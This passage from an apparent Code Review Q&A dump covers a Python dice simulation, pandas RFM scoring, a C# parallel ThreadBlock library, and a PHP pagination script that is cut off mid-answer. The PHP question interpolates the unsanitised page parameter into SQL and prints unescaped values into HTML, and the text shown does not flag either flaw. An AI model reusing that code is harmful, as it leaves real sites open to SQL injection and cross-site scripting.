str(count / highnumber) + '% for die' + str(i)\n for (i, count) in enumerate(counter, start=1)\n]\n</code></pre></li>\n</ul>\n\n<p>So the final version of <code>chance_overlap()</code> is:</p>\n\n<pre><code>def chance_overlap(die_list, die_list_count):\n high_number = 100000\n counter = len(die_list) * [0]\n for __ in range(high_number):\n dieres = [\n sum(roll(die) for __ in range(repeat))\n for (die, repeat) in zip(die_list, die_list_count)\n ]\n\n maximum = max(dieres)\n if dieres.count(maximum) == 1:\n winner = dieres.index(maximum)\n counter[winner] += 1\n\n return [\n str(count / high_number) + '% for die' + str(i)\n for (i, count) in enumerate(counter, start=1)\n ]\n</code></pre>\n\n<h2>main</h2>\n\n<ul>\n<li><code>while Doing</code> is redundant: <code>Doing</code> is just set to <code>False</code> at the end of loop :/</li>\n<li><p><code>if len(dietoadd) >= 1</code> should be replaced with <code>if dietoadd</code>. Actually, it is better to move this check inside <code>deeper</code> (\"read die\" function), so <code>die_list_2</code> could be read much simpler:</p>\n\n<pre><code>die_list_2 = []\nwhile input('to stop enter S') != 'S':\n die_list_2.append(deeper('Die' + str(len(die_list_2))))\n</code></pre></li>\n<li><p><code>while quantity</code> loop may be removed because you can construct <code>Qlist</code> in a single line:</p>\n\n<pre><code>Qlist = [suckmypp(counterq) for counterq in range(len(die_list_2))]\n</code></pre></li>\n<li><p>inline variables that are used only once, e. g. <code>chance</code> and <code>chance2</code> could be removed if you call <code>chance_overlap</code> inside <code>print()</code>.</p></li>\n</ul>\n\n<p>So, after all refactoring main part should look like:</p>\n\n<pre><code>die_list_1 = [Die1, Die2]\ndiecount = [9, 6]\nprint(chance_overlap(die_list_1, diecount))\n\ndie_list_2 = []\nwhile input('to stop enter \"S\"') != 'S':\n die_list_2.append(deeper('Die' + str(len(die_list_2))))\n\nq_list = [suckmypp(counterq) for counterq in range(len(die_list_2))]\n\nprint(die_list_2)\nprint(q_list)\nprint(chance_overlap(die_list_2, q_list))\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T11:20:26.840",
"Id": "212970",
"ParentId": "212946",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T22:20:32.830",
"Id": "212946",
"Score": "-1",
"Tags": [
"python",
"python-3.x",
"dice"
],
"Title": "Arbitrary probability dice"
} | 212946 |
<p>Currently, my code works perfectly well but i would like to make it cleaner for other users by removing the duplicate and similar lines of code into functions or for loops. Because I am still new learning Python, I still did not get a hang of functions and <code>for</code> loops. My data frame <code>rfm</code> includes 5 columns:</p>
<ul>
<li><code>Max Date</code> (latest transaction)</li>
<li><code>Id</code> (unique identifier)</li>
<li><code>Recency</code> (today's date minus Latest Transaction Date)</li>
<li><code>Frequency</code> (total # of transactions per Id since its subscription)</li>
<li><code>Monetary</code> (total amount of $ spent by Id since its subscription)</li>
</ul>
<p>Separating the main data frame into 3 different df because the sort differs for each cumulative sum column. Frequency and Monetary dfs have identical calculations:</p>
<pre><code>rfm_recency = rfm[['Max_Date', 'Id', 'Member_id', 'Recency']].copy()
rfm_recency = rfm_recency.sort_values(['Recency'], ascending=True)
rfm_frequency = rfm[['Id', 'Member_id', 'Frequency']].copy()
rfm_frequency = rfm_frequency.sort_values(['Frequency'], ascending=False)
rfm_frequency['cum_sum'] = rfm_frequency['Frequency'].cumsum()
rfm_frequency['cum_sum_perc'] = rfm_frequency['cum_sum'] / rfm_frequency['Frequency'].sum()
rfm_monetary = rfm[['Id', 'Member_id', 'Monetary']].copy()
rfm_monetary = rfm_monetary.sort_values(['Monetary'], ascending=False)
rfm_monetary['cum_sum'] = rfm_monetary['Monetary'].cumsum()
rfm_monetary['cum_sum_perc'] = rfm_monetary['cum_sum'] / rfm_monetary['Monetary'].sum()
def scorefm(x):
"""Function for separating data into 5 bins for Frequency & Monetary df """
if x <= 0.20:
return 5
elif x <= 0.40:
return 4
elif x <= 0.60:
return 3
elif x <= 0.80:
return 2
else:
return 1
# Divide the Recency df into equal quantiles
rfm_recency['r_score'] = 5 - pd.qcut(rfm_recency['Recency'], q=5, labels=False)
# Create scores from cum_sum_perc for Frequency and Monetary
rfm_frequency['f_score'] = rfm_frequency['cum_sum_perc'].apply(scorefm)
rfm_monetary['m_score'] = rfm_monetary['cum_sum_perc'].apply(scorefm)
# Resorting data frames by ID to merge
rfm_recency = rfm_recency.sort_values('Id')
rfm_frequency = rfm_frequency.sort_values('Id')
rfm_monetary = rfm_monetary.sort_values('Id')
# Merging data frames together
result = rfm_recency.copy(['Recency', 'r_score'])
result = result.join(rfm_frequency[['Frequency', 'f_score']])
result = result.join(rfm_monetary[['Monetary', 'm_score']])
# Create an FM and RFM score based on the individual R, F, M scores.
result['FM'] = (result['f_score'] + result['m_score']) / 2
result['RFM_Score'] = result['r_score'] * 10 + result['FM']
</code></pre>
<h1>Fiddle Data:</h1>
<pre><code>import pandas as pd
col_names = ['Max_Date', 'Id', 'Member_id', 'Recency', 'Frequency', 'Monetary'] # 6 columns
data =[['2019-01-21',456,'dwfv84',23,261,4221],
['2019-02-10',123,'qwbe78',3,83,9251],
['2019-01-25',789,'adqw87',19,478,19195],
['2018-01-04',988,'afdi25',40,321,3753],
['2018-03-19',784,'asdf48',331,413,8551],
['2018-04-15',445,'asfv41',304,246,10215],
['2018-04-10',589,'sdqw88',309,80,19569],
['2018-05-20',741,'dsdg46',269,282,3108],
['2018-06-30',852,'cvgo87',228,261,5975],
['2019-01-19',963,'ewgs45',25,357,4405],
['2019-01-12',369,'fbbr54',32,197,1019],
['2019-01-18',258,'fwgs77',26,132,18100],
['2019-02-10',147,'jkyu87',3,32,8678],
['2019-02-05',753,'yukh20',8,132,19871]]
rfm = pd.DataFrame(data=data, columns=col_names,)
rfm ['Max_Date'] = pd.to_datetime(rfm ['Max_Date'])
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T08:05:03.150",
"Id": "411847",
"Score": "3",
"body": "What is type of `rfm`? Could you provide a sample for initialization this variable?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T08:40:20.037",
"Id": "411850",
"Score": "1",
"body": "What does single row mean? Is 'Id' unique identifier of **row** or **user**? What is meaning of `cumsum()` for frequency and monetary?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:39:36.333",
"Id": "411927",
"Score": "1",
"body": "1. rfm is <class 'pandas.core.frame.DataFrame'>\n2. cumsum() helps me get the pareto principle (20-80). Basically 20% of Ids will account for 80% of revenue. So I am sorting Frequency and Monetary DESC to get the highest values first. All the values under 0.2 will be in bin 5 which represents the best bin. Ids are what defines a user so yes its unique in the sense that there isn't more than one in the the df."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-12T12:59:11.793",
"Id": "412612",
"Score": "2",
"body": "If you want help, it might help to copy a small set of dummy data (in the form of csv or so), so we can test it with actual data"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T19:28:07.870",
"Id": "412826",
"Score": "0",
"body": "@MaartenFabré just added sample data"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-13T20:52:13.723",
"Id": "412839",
"Score": "1",
"body": "@belkka updated my question with sample data"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-14T11:26:19.790",
"Id": "412905",
"Score": "0",
"body": "`'Member_id'` and `'Max_Date'` are unused in calculations so they can be omitted when copying `rfm`. Also you are passing list into `DataFrame.copy` when calling `rfm_recency.copy(['Recency', 'r_score'])` which provably does not work as you expect -- according to docs `.copy()` accept single boolean argument https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.copy.html#pandas.DataFrame.copy"
}
] | [
{
"body": "<p>This can be done a lot simpler.</p>\n\n<p>Since all of <code>rfm</code> returns in <code>result</code>, you can do a copy. To make sure that even if you reorder things, they appear at the correct place, you use an index. Since <code>Id</code> is unique in the DataFrame, let's use this</p>\n\n<pre><code>result2 = datas.set_index(\"Id\")\n</code></pre>\n\n<h2>r_score</h2>\n\n<p>There is no use for the intermediate <code>rfm_recency</code>, or it's sorting, so including the <code>r_score</code> can be as simple as:</p>\n\n<pre><code>result2[\"r_score\"] = 5 - pd.qcut(result2[\"Recency\"], q=5, labels=False)\n</code></pre>\n\n<p>Doing this immediately in this <code>result2</code> DataFrame instead of joining several intermediary DataFrames together.</p>\n\n<h1>f_score and m_score</h1>\n\n<p>The <code>f_score</code> and <code>m_score</code> are both linear interpolations, so can be done with this formula, instead of applying the <code>scorefm</code> method on each row individually</p>\n\n<pre><code>def fm_score(series):\n return (\n 6 - series.sort_values(ascending=False).cumsum() / series.sum() * 5\n ).astype(int)\n\nresult2[\"f_score\"] = fm_score(result2[\"Frequency\"])\nresult2[\"m_score\"] = fm_score(result2[\"Monetary\"])\n</code></pre>\n\n<h1>FM and RFM_Score</h1>\n\n<p>These are simple calculations, so can be done like this: </p>\n\n<pre><code>result2[\"FM\"] = (result2[\"f_score\"] + result2[\"m_score\"]) / 2\nresult2[\"RFM_Score\"] = result2[\"r_score\"] * 10 + result2[\"FM\"]\n</code></pre>\n\n<p>This can be all you need. If the shape needs to be exactly as the original result, a <code>reset_index</code>, <code>sort</code> and <code>reindex</code> can help:</p>\n\n<pre><code>result2 = result2.sort_index().reset_index().reindex(columns=result.columns)\n</code></pre>\n\n<p>where instead of <code>result.columns</code> you manually give a list of the columns in order</p>\n\n<pre><code> Max_Date Id Member_id Recency r_score Frequency f_score Monetary m_score FM RFM_Score\n0 2019-02-10 123 qwbe78 3 5 83 1 9251 2 1.5 51.5\n1 2019-02-10 147 jkyu87 3 5 32 1 8678 2 1.5 51.5\n2 2019-01-18 258 fwgs77 26 3 132 1 18100 3 2.0 32.0\n3 2019-01-12 369 fbbr54 32 3 197 1 1019 1 1.0 31.0\n4 2018-04-15 445 asfv41 304 1 246 2 10215 2 2.0 12.0\n5 2019-01-21 456 dwfv84 23 4 261 2 4221 1 1.5 41.5\n6 2018-04-10 589 sdqw88 309 1 80 1 19569 4 2.5 12.5\n7 2018-05-20 741 dsdg46 269 2 282 3 3108 1 2.0 22.0\n8 2019-02-05 753 yukh20 8 5 132 1 19871 5 3.0 53.0\n9 2018-03-19 784 asdf48 331 1 413 4 8551 1 2.5 12.5\n10 2019-01-25 789 adqw87 19 4 478 5 19195 3 4.0 44.0\n11 2018-06-30 852 cvgo87 228 2 261 2 5975 1 1.5 21.5\n12 2019-01-19 963 ewgs45 25 4 357 4 4405 1 2.5 42.5\n13 2018-01-04 988 afdi25 40 2 321 3 3753 1 2.0 22.0\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-14T11:10:50.880",
"Id": "412901",
"Score": "0",
"body": "It is probably better to move expression `(6 - 5 * column.sort_values(ascending=False).cumsum() / column.sum()).astype(int)` into separate function. Shouldn't something like \"floor\" be applied before `.astype(int)`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-14T12:16:14.520",
"Id": "412918",
"Score": "0",
"body": "the `.astype(int)` drops everything behind the `.`, so it does the flooring there. I checked and this gives the same results as the OP's code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-18T01:18:15.183",
"Id": "413315",
"Score": "0",
"body": "@MaartenFabré Do you mind explaining how the following works: return function is substracted by 6 and multiplied by 5. Greatly appreciated thank you"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-14T10:17:03.867",
"Id": "213445",
"ParentId": "212955",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "213445",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T03:12:30.713",
"Id": "212955",
"Score": "1",
"Tags": [
"python",
"beginner",
"pandas"
],
"Title": "Customer segmentation using RFM analysis"
} | 212955 |
<p>I've created a library providing a <code>ThreadBlock</code> that has the following features:</p>
<ul>
<li>Aggregates results of all actions executed</li>
<li>Provides for non-threaded warm up to prepare data for processing</li>
<li>Provides for per-thread continuation actions</li>
<li>Provides for per-block continuation actions</li>
</ul>
<p>The code is located on <a href="https://github.com/gatewayprogrammingschool/simplethreading" rel="nofollow noreferrer">GitHub</a>.</p>
<pre><code>using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
namespace GPS.SimpleThreading.Blocks
{
/// <summary>
/// Parallel thread block class that provides for
/// thread warmup, execution, and continuation.
/// </summary>
/// <remarks>
/// ## Features
/// * Allows capture of results of thread executions
/// * Allows warmup action per data item before spawning thread
/// * Allows continuation action per data item after executing thread
/// * Allows continuation of the entire set
/// </remarks>
public sealed class ThreadBlock<TData, TResult>
{
private readonly ConcurrentDictionary<TData, (TData data, TResult result)?> _results =
new ConcurrentDictionary<TData, (TData data, TResult result)?>();
private readonly ConcurrentBag<TData> _baseList =
new ConcurrentBag<TData>();
private bool _locked;
private readonly Func<TData, TResult> _action;
private readonly Action<ICollection<(TData data, TResult result)?>> _continuation;
/// <summary>
/// Constructor accepting the action and block continuation.
/// </summary>
public ThreadBlock(
Func<TData, TResult> action,
Action<ICollection<(TData data, TResult result)?>> continuation = null)
{
_action = action;
_continuation = continuation;
}
/// <summary>
/// Add single data item.
/// </summary>
public void Add(TData item)
{
if (!_locked) _baseList.Add(item);
}
/// <summary>
/// Adds range of data items from an IEnumerable
/// </summary>
public void AddRange(IEnumerable<TData> collection)
{
Parallel.ForEach(collection, Add);
}
/// <summary>
/// Adds range of data items from an ICollection.
/// </summary>
public void AddRange(ICollection<TData> collection)
{
Parallel.ForEach(collection, Add);
}
/// <summary>
/// Adds range of data items from an IProducerConsumerCollection.
/// </summary>
public void AddRange(IProducerConsumerCollection<TData> collection)
{
Parallel.ForEach(collection, Add);
}
/// <summary>
/// Maximum number of concurrent threads (default = 1).
/// </summary>
public int MaxDegreeOfParallelism { get; set; } = 1;
/// <summary>
/// Removes a data item from the block.
/// </summary>
public bool Remove(TData item)
{
TData itemToRemove;
if (!_locked)
return _baseList.TryTake(out itemToRemove);
return false;
}
/// <summary>
/// Locks the data of the block, allowing processing.
/// </summary>
public void LockList()
{
_locked = true;
}
/// <summary>
/// Executes the action over the set of data.
/// </summary>
public void Execute(
int maxDegreeOfParallelization = -1,
Action<TData> warmupItem = null,
Action<Task, (TData data, TResult result)?> threadContinuation = null)
{
if (!_locked) throw new NotLockedException();
if (maxDegreeOfParallelization == -1)
{
maxDegreeOfParallelization = MaxDegreeOfParallelism;
}
if (maxDegreeOfParallelization < 1)
{
throw new ArgumentOutOfRangeException(
"Must supply positive value for either " +
$"{nameof(maxDegreeOfParallelization)} or " +
$"this.{nameof(MaxDegreeOfParallelism)}.");
}
var padLock = new object();
var queue = new Queue<TData>(_baseList);
var allTasks = new Dictionary<TData, Task>();
int depth = 0;
while (queue.Count > 0)
{
var item = queue.Dequeue();
if (warmupItem != null) warmupItem(item);
var task = new Task<TResult>(() => _action(item));
task.ContinueWith((resultTask, data) =>
{
var returnValue = ((TData, TResult)?)(data, resultTask.Result);
if (threadContinuation != null)
{
threadContinuation(resultTask, returnValue);
}
_results.AddOrUpdate(item, returnValue,
(itemData, resultTaskResult) => resultTaskResult);
lock (padLock)
{
depth--;
}
}, item);
int d = 0;
lock (padLock)
{
d = depth;
}
while (d >= maxDegreeOfParallelization)
{
System.Threading.Thread.Sleep(1);
lock (padLock)
{
d = depth;
}
}
task.Start(TaskScheduler.Current);
lock (padLock)
{
depth++;
}
}
var dd = 0;
lock (padLock)
{
dd = depth;
}
while (dd > 0)
{
Thread.Sleep(1);
lock (padLock)
{
dd = depth;
}
}
_continuation?.Invoke(_results.Values);
}
/// <summary>
/// Point-in-time results providing a stable result set
/// for processing results as the block runs.
/// </summary>
public ConcurrentDictionary<TData, (TData data, TResult result)?> Results
{
get
{
var results = new ConcurrentDictionary<TData, (TData data, TResult result)?>();
foreach (var key in _results.Keys)
{
var result = _results[key];
var value = key;
results.AddOrUpdate(value, result, (resultKey, resultValue) => resultValue);
}
return results;
}
}
}
}
</code></pre>
<p>I would be very grateful for feedback on the features, design and implementation.</p>
<p>A simple usage is</p>
<pre><code> [Fact]
public void ContrivedTest()
{
string Processor(int data)
{
System.Threading.Thread.Sleep(data);
return $"Waiting {data} miliseconds";
}
void Warmup(int data)
{
_log.WriteLine($"Contrived Warmup for {data}");
}
void ThreadBlockContinuation(Task task, (int data, string result)? result)
{
_log.WriteLine($"Contrived Thread Continuation result: {result.Value.data}, {result.Value.result}");
}
void PLINQContinuation((int data, string result)? result)
{
_log.WriteLine($"Contrived Thread Continuation result: {result.Value.data}, {result.Value.result}");
}
void BlockContinuation(ICollection<(int data, string result)?> results)
{
_log.WriteLine($"Results count: {results.Count}");
}
var dataSet = new int[500];
var rand = new System.Random();
for(int i = 0; i < dataSet.Length; ++i)
{
dataSet[i] = rand.Next(250, 2500);
}
var block = new ThreadBlock<int, string>(
Processor,
BlockContinuation);
block.AddRange(dataSet);
block.LockList();
var parallelism = 8;
var sw = new System.Diagnostics.Stopwatch();
sw.Start();
block.Execute(parallelism, Warmup, ThreadBlockContinuation);
sw.Stop();
var blockElapsed = sw.Elapsed;
sw = new System.Diagnostics.Stopwatch();
sw.Start();
var resultSet = dataSet
.Select(data => { Warmup(data); return data; })
.AsParallel()
.WithExecutionMode(ParallelExecutionMode.ForceParallelism)
.WithDegreeOfParallelism(parallelism)
.Select(data =>
{
return new Nullable<(int data, string result)>
((data: data, result: Processor(data)));
})
.AsSequential()
.Select(result => {
PLINQContinuation(result);
return result;
}).ToList();
BlockContinuation(resultSet.ToArray());
sw.Stop();
var plinqElapsed = sw.Elapsed;
_log.WriteLine(
$"block: {blockElapsed.TotalSeconds}, " +
$"PLINQ: {plinqElapsed.TotalSeconds}");
Assert.Equal(dataSet.Length, block.Results.Count);
Assert.Equal(dataSet.Length, resultSet.Count);
// This is here to force the test to fail
// allowing dotnet test to output the log.
Assert.Equal(blockElapsed, plinqElapsed);
}
</code></pre>
<h2>Edit 2</h2>
<p>Added a PLINQ equivalent to the test. Execution times
are practically identitical. To me, the PLINQ version
is a mess.</p>
<p>So it really comes down to what you like better.</p>
<p>Here's an example result from my system using the
exact test above:</p>
<pre><code>... lots of data ....
Contrived Thread Continuation result: 1143, Waiting 1143 miliseconds
Contrived Thread Continuation result: 1593, Waiting 1593 miliseconds
Contrived Thread Continuation result: 2206, Waiting 2206 miliseconds
Results count: 500
block: 84.4324359, PLINQ: 85.2551954
</code></pre>
<p>The data is meant to simulate a large set of expensive operations, which is the natural use-case for parallelism. All parameters and data are identical between the ThreadBlock and PLINQ tests.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T10:48:21.207",
"Id": "411873",
"Score": "0",
"body": "When you do embed the code (and fix the example), perhaps you could also explain the intended use-case for this class? It seems relatively inefficient compared to an equivalent PLINQ approach."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T19:53:07.627",
"Id": "411981",
"Score": "0",
"body": "I would love to know the PLINQ alternative. Can you explain?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T20:53:50.860",
"Id": "411984",
"Score": "0",
"body": "OK, read up on the PLINQ, there's definitely some overlap. I will do some testing and see which methodology is faster."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T00:07:06.970",
"Id": "412006",
"Score": "0",
"body": "The PLINQ \"equivalent\" of a Thread Continuation has a few drawbacks:\n\n* It has to be run in a second pass through the data\n* There is no Task result to get state about the task. This is a biggie."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T12:29:21.417",
"Id": "412065",
"Score": "0",
"body": "I'd consider those tasks to be an implementation detail - why would you need to expose them?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T13:12:48.687",
"Id": "412069",
"Score": "0",
"body": "I'm not sure I understand your question. I already have a use case that the ThreadBlock serves perfectly. I'm actually going to make the Lock optional so that the ThreadBlock can run continuously and automatically process data as it comes in once Execute has been called. I will need to add a Stop method and make Execute return Task<void> so it can be awaited or run asynchronously. I also need to add cancellation tokens."
}
] | [
{
"body": "<h3>Design</h3>\n\n<p>I think there are some problems with this design:</p>\n\n<ul>\n<li><code>ThreadBlock</code> has too many responsibilities: it's used to build a read-only collection, to perform parallelized work on it and to store the results of that work. That's a fairly rigid workflow. PLINQ, in comparison, is much more composable: you can call <code>AsParallel().Select(DoWork)</code> on anything that's enumerable, and the results are returned directly to the caller, which can then store, share, discard or further process them depending on the use-case (without the risk that something else will overwrite these results).</li>\n<li>The design is conflicting: because <code>action</code> and <code>continuation</code> are passed to the constructor, <code>Execute</code> should always perform the same work, so it doesn't make sense to call it multiple times (you'd just be redoing work that was already done*). On the other hand, <code>Execute</code> accepts per-item warmup and continuation callbacks, which allow custom work (or rather, side-effects, because they don't return anything) per <code>Execute</code> call. How is this intended to be used? Why so many different callbacks?</li>\n<li>All that sleeping and locking in <code>Execute</code> looks quite inefficient. This may not always be noticeable - it depends on the amount of items and how much work needs to be done per item - but I'm fairly sure PLINQ is better optimized in this regard.</li>\n</ul>\n\n<p>I think the PLINQ equivalent is mostly just messy because the overal workflow is messy, with several separate callbacks being used for side-effects (I'd use loops for that, not <code>Select</code> calls). Why not move that extra work into <code>Processor</code>? That would make both the PLINQ approach and the design of your <code>ThreadBlock</code> class simpler.</p>\n\n<p>Note that <code>ThreadBlock</code> is running the warmup and thread continuations in parallel, while your PLINQ example runs them sequentially.</p>\n\n<hr>\n\n<p><em>*Unless that work is not deterministic, but I'm not sure that that's such a good idea. You'd run into trouble with <code>Results</code>, as you can't tell whether a result is new or old while an <code>Execute</code> call is still in progress.</em></p>\n\n<h3>Other problems</h3>\n\n<ul>\n<li><code>Results</code> does not take duplicate <code>TData</code> values into account - it silently discards the results of all but one of them.</li>\n<li><code>Execute</code> gets stuck on <code>null</code> data items. <code>ConcurrentDictionary</code> throws when you're trying to use <code>null</code> as a key, which then causes <code>depth</code> to not be decreased.</li>\n<li><code>Add</code> and <code>AddRange</code> silently discard their input once <code>LockList</code> has been called. I would at least expect an exception to be thrown.</li>\n</ul>\n\n<h3>Other notes</h3>\n\n<ul>\n<li>Some quick testing suggests that adding items to a bag in parallel is slower than doing so sequentially.</li>\n<li>Both <code>ICollection<T></code> and <code>IProducerConsumerCollection<T></code> implement <code>IEnumerable<T></code>, so those <code>AddRange</code> overloads aren't needed.</li>\n<li>I think <code>TInput</code> is a little more self-descriptive than <code>TData</code>.</li>\n<li>Why does the thread continuation take a nullable tuple? It's never invoked with null.</li>\n<li>Why is <code>MaxDegreeOfParallelism</code> publicly settable? Mutable shared state is best avoided in concurrency. This makes it possible for another thread to 'intercept' the degree of parallelism.</li>\n<li>Why use <code>task.ContinueWith</code> if you can call both <code>action</code> and <code>threadContinuation</code> inside the original task?</li>\n<li>Why expose this task to <code>threadContinuation</code>? Whether your <code>ThreadBlock</code> uses threads, tasks or some other approach internally shouldn't matter to outside code. This prevents you from switching to a different implementation without affecting existing callers.</li>\n<li>You may want to verify that <code>action</code> isn't null in the constructor, and throw an <code>ArgumentNullException</code> if it is.</li>\n<li>It's recommended to make custom exception types serializable.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T18:37:17.223",
"Id": "412132",
"Score": "0",
"body": "Thank you! I see several places to make the implementation better from your comments. The fact that the `threadContinuation` runs on the main thread, not the task, is very important as it's meant to be the equivalent behavior of calling `ContinueWith` directly on a `Task`.\n\nExposing the `Task` to the `threadContinutation` is again part of implementing the `ContinueWith` pattern. It makes going from implicitly declaring `Tasks` to a `ThreadBlock `an apples-to-apples implementation."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-08T08:26:27.937",
"Id": "412194",
"Score": "0",
"body": "I'm not sure what you mean? `threadContinuation` is not executed on the thread that's calling `Execute`. `task.ContinueWith` creates a second task that will be scheduled after `task` is finished. It might well be executed on the same thread as the preceding task, or on a different thread - that's up to the task scheduler."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T15:57:14.873",
"Id": "213052",
"ParentId": "212956",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T04:43:22.350",
"Id": "212956",
"Score": "3",
"Tags": [
"c#",
"multithreading"
],
"Title": "Sanity check for Simple Threading library"
} | 212956 |
<p>I know that OOP is ubiquitous nowadays. Nonetheless I still write procedural PHP. It now seems to me that I had fallen into a spaghetti code trap, because my code starts to seem meaningless even to me (it's author :)</p>
<p>Can you please tell me how bad is this?</p>
<pre><code><?php
/**
* Created by PhpStorm.
* User: Taras
* Date: 23.01.2019
* Time: 20:01
*/
include "db_conn.php";
$currentPage = "list";
include "header.php";
// Quantity of results per page
$limit = 10;
// Check if page has been clicked
if (!isset($_GET['page'])) {
$page = 1;
} else{
$page = $_GET['page'];
}
// Initial offset, if page number wasn't specified than start from the very beginning
$starting_limit = ($page-1)*$limit;
// Check if search form has been submitted
if (isset($_GET['search'])) {
$searchTerm = $_GET['search'];
$sql = "SELECT company.id, company.name, inn, ceo, city, phone
FROM company
LEFT JOIN address ON company.id = address.company_id
LEFT JOIN contact ON company.id = contact.company_id
WHERE
MATCH (company.name, inn, ceo) AGAINST (:searchTerm)
OR MATCH (city, street) AGAINST (:searchTerm)
OR MATCH(contact.name, phone, email) AGAINST (:searchTerm)";
$stmt = $pdo->prepare($sql);
$stmt->execute(array(':searchTerm' => $searchTerm));
$total_results_without_limit = $stmt->rowCount();
$total_pages = ceil($total_results_without_limit/$limit);
$sql = "SELECT company.id, company.name, inn, ceo, city, phone
FROM company
LEFT JOIN address ON company.id = address.company_id
LEFT JOIN contact ON company.id = contact.company_id
WHERE
MATCH (company.name, inn, ceo) AGAINST (:searchTerm)
OR MATCH (city, street) AGAINST (:searchTerm)
OR MATCH(contact.name, phone, email) AGAINST (:searchTerm)
ORDER BY id DESC LIMIT $starting_limit, $limit";
$stmt = $pdo->prepare($sql);
$stmt->execute(array(':searchTerm' => $searchTerm));
// Count number of rows to make proper number of pages
} else { // Basically else clause is similar to the search block except no search is being made
$sql = "SELECT * FROM company";
$stmt = $pdo->prepare($sql);
$stmt->execute();
// Again count number of rows
$total_results = $stmt->rowCount();
$total_pages = ceil($total_results/$limit);
// And then make a query
$stmt = $pdo->prepare("
SELECT company.id, company.name, company.inn,
company.ceo, address.city, contact.phone
FROM company
LEFT JOIN address
ON company.id = address.company_id
LEFT JOIN contact
ON company.id = contact.company_id
ORDER BY id ASC LIMIT $starting_limit, $limit");
$stmt->execute();
}
?>
<main class="container">
<section class="section-search">
<div class="row col-auto">
<h2>Найти компанию</h2>
</div>
<form action="list.php" method="get">
<div class="row">
<div class="form-group col-lg-6 col-md-6 col-sm-12 row">
<label class="col-sm-4 col-form-label" for="searchTerm">
Поиск
</label>
<input type="text" class="form-control col-sm-8"
id="companyTerm" name="search">
</div>
<div class="float-right">
<input type="submit" class="btn btn-primary mb-2" value="Поиск">
</div>
</div>
</form>
</section>
<section class="section-companies">
<table class="table table-sm">
<thead>
<tr>
<th scope="col">ИНН</th>
<th scope="col">Название</th>
<th scope="col">Генеральный директор</th>
<th scope="col">Город</th>
<th scope="col">Контактный телефон</th>
</tr>
</thead>
<tbody>
<?php
// Filling the result table with results
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
echo "<tr><td scope='row'>" . $row['inn'] . "</td>";
echo "<td><a href='company.php?id=" . $row["id"] . "'>" . $row['name'] . "</a>" . "</td>";
echo "<td>" . $row['ceo'] . "</td>";
echo "<td>" . $row['city'] . "</td>";
echo "<td>" . $row['phone'] . "</td></tr>";
}
?>
</tbody>
</table>
</section>
<?php
// Paginating part itself
for ($page=1; $page <= $total_pages ; $page++):?>
<a href='<?php
if (isset($searchTerm)) {
echo "list.php?search=$searchTerm&page=$page";
} else {
echo "list.php?page=$page";
} ?>' class="links"><?php echo $page; ?>
</a>
<?php endfor; ?>
</main>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T08:14:52.043",
"Id": "411848",
"Score": "0",
"body": "(Welcome to CodeReview!) Is your main concern with the readability of your code or that there should be a more succinct way to achieve basically the same effect?"
}
] | [
{
"body": "<h3>Code duplication</h3>\n\n<p>To be honest - yes, this code is rather messy, mostly due to the code duplication. At least you could've shortened it by reusing the existing SQL, like</p>\n\n<pre><code>$sql = \"SELECT company.id, company.name, inn, ceo, city, phone\n FROM company\n LEFT JOIN address ON company.id = address.company_id\n LEFT JOIN contact ON company.id = contact.company_id\n WHERE\n MATCH (company.name, inn, ceo) AGAINST (:searchTerm)\n OR MATCH (city, street) AGAINST (:searchTerm)\n OR MATCH(contact.name, phone, email) AGAINST (:searchTerm)\";\n$stmt = $pdo->prepare($sql);\n// ...\n$sql .= \" ORDER BY id DESC LIMIT $starting_limit, $limit\";\n$stmt = $pdo->prepare($sql);\n</code></pre>\n\n<h3>Performance problems</h3>\n\n<p>But the biggest problem with this code is not its structure but its ability to kill your server. <a href=\"https://phpdelusions.net/top#num_rows\" rel=\"nofollow noreferrer\">Getting the number of rows returned by SELECT query is the most misused functinality in PHP.</a>. Aside of the fact it is most of time just pointless, in a case like yours it could be dangerously harmful. Let's take your code, that looks quite simple and 